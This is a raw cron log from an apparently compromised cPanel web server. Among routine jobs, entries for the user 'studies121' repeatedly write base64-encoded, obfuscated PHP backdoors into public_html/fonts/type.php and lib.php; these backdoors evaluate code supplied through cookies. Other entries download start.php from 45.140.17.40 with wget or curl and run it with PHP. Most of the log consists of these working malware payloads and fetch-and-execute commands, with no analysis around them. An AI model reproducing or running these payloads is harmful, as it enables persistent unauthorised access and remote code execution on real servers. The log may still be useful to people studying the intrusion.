Sep  7 13:15:01 ip-184-168-122-23 CROND[2192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:16:01 ip-184-168-122-23 CROND[2286]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:16:01 ip-184-168-122-23 CROND[2287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:16:01 ip-184-168-122-23 CROND[2291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:16:01 ip-184-168-122-23 CROND[2290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:16:01 ip-184-168-122-23 CROND[2289]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:16:01 ip-184-168-122-23 CROND[2292]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 13:17:01 ip-184-168-122-23 CROND[2436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:17:01 ip-184-168-122-23 CROND[2435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:17:01 ip-184-168-122-23 CROND[2437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:17:01 ip-184-168-122-23 CROND[2438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:18:01 ip-184-168-122-23 CROND[2520]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:18:01 ip-184-168-122-23 CROND[2522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:18:01 ip-184-168-122-23 CROND[2523]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:18:01 ip-184-168-122-23 CROND[2524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:18:01 ip-184-168-122-23 CROND[2525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:19:01 ip-184-168-122-23 CROND[2680]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:19:01 ip-184-168-122-23 CROND[2681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:19:01 ip-184-168-122-23 CROND[2683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:19:01 ip-184-168-122-23 CROND[2684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:20:02 ip-184-168-122-23 CROND[2768]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:20:02 ip-184-168-122-23 CROND[2771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:20:02 ip-184-168-122-23 CROND[2770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:20:02 ip-184-168-122-23 CROND[2776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:20:02 ip-184-168-122-23 CROND[2772]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:20:02 ip-184-168-122-23 CROND[2777]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 13:20:02 ip-184-168-122-23 CROND[2774]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 13:20:02 ip-184-168-122-23 CROND[2773]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 13:20:02 ip-184-168-122-23 CROND[2775]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 13:21:01 ip-184-168-122-23 CROND[2909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:21:01 ip-184-168-122-23 CROND[2910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:21:01 ip-184-168-122-23 CROND[2913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:21:01 ip-184-168-122-23 CROND[2911]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:22:01 ip-184-168-122-23 CROND[2996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:22:01 ip-184-168-122-23 CROND[2999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:22:01 ip-184-168-122-23 CROND[2998]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:22:01 ip-184-168-122-23 CROND[3000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:22:01 ip-184-168-122-23 CROND[3001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:23:01 ip-184-168-122-23 CROND[3136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:23:01 ip-184-168-122-23 CROND[3135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:23:01 ip-184-168-122-23 CROND[3137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:23:01 ip-184-168-122-23 CROND[3138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:24:01 ip-184-168-122-23 CROND[3219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:24:01 ip-184-168-122-23 CROND[3221]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:24:01 ip-184-168-122-23 CROND[3223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:24:01 ip-184-168-122-23 CROND[3222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:24:01 ip-184-168-122-23 CROND[3224]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:25:02 ip-184-168-122-23 CROND[3392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:25:02 ip-184-168-122-23 CROND[3391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:25:02 ip-184-168-122-23 CROND[3394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:25:02 ip-184-168-122-23 CROND[3396]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 13:25:02 ip-184-168-122-23 CROND[3397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:25:02 ip-184-168-122-23 CROND[3399]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 13:26:01 ip-184-168-122-23 CROND[3481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:26:01 ip-184-168-122-23 CROND[3480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:26:01 ip-184-168-122-23 CROND[3484]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:26:01 ip-184-168-122-23 CROND[3482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:26:01 ip-184-168-122-23 CROND[3483]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:27:01 ip-184-168-122-23 CROND[3574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:27:01 ip-184-168-122-23 CROND[3575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:27:01 ip-184-168-122-23 CROND[3577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:27:01 ip-184-168-122-23 CROND[3576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:28:01 ip-184-168-122-23 CROND[3698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
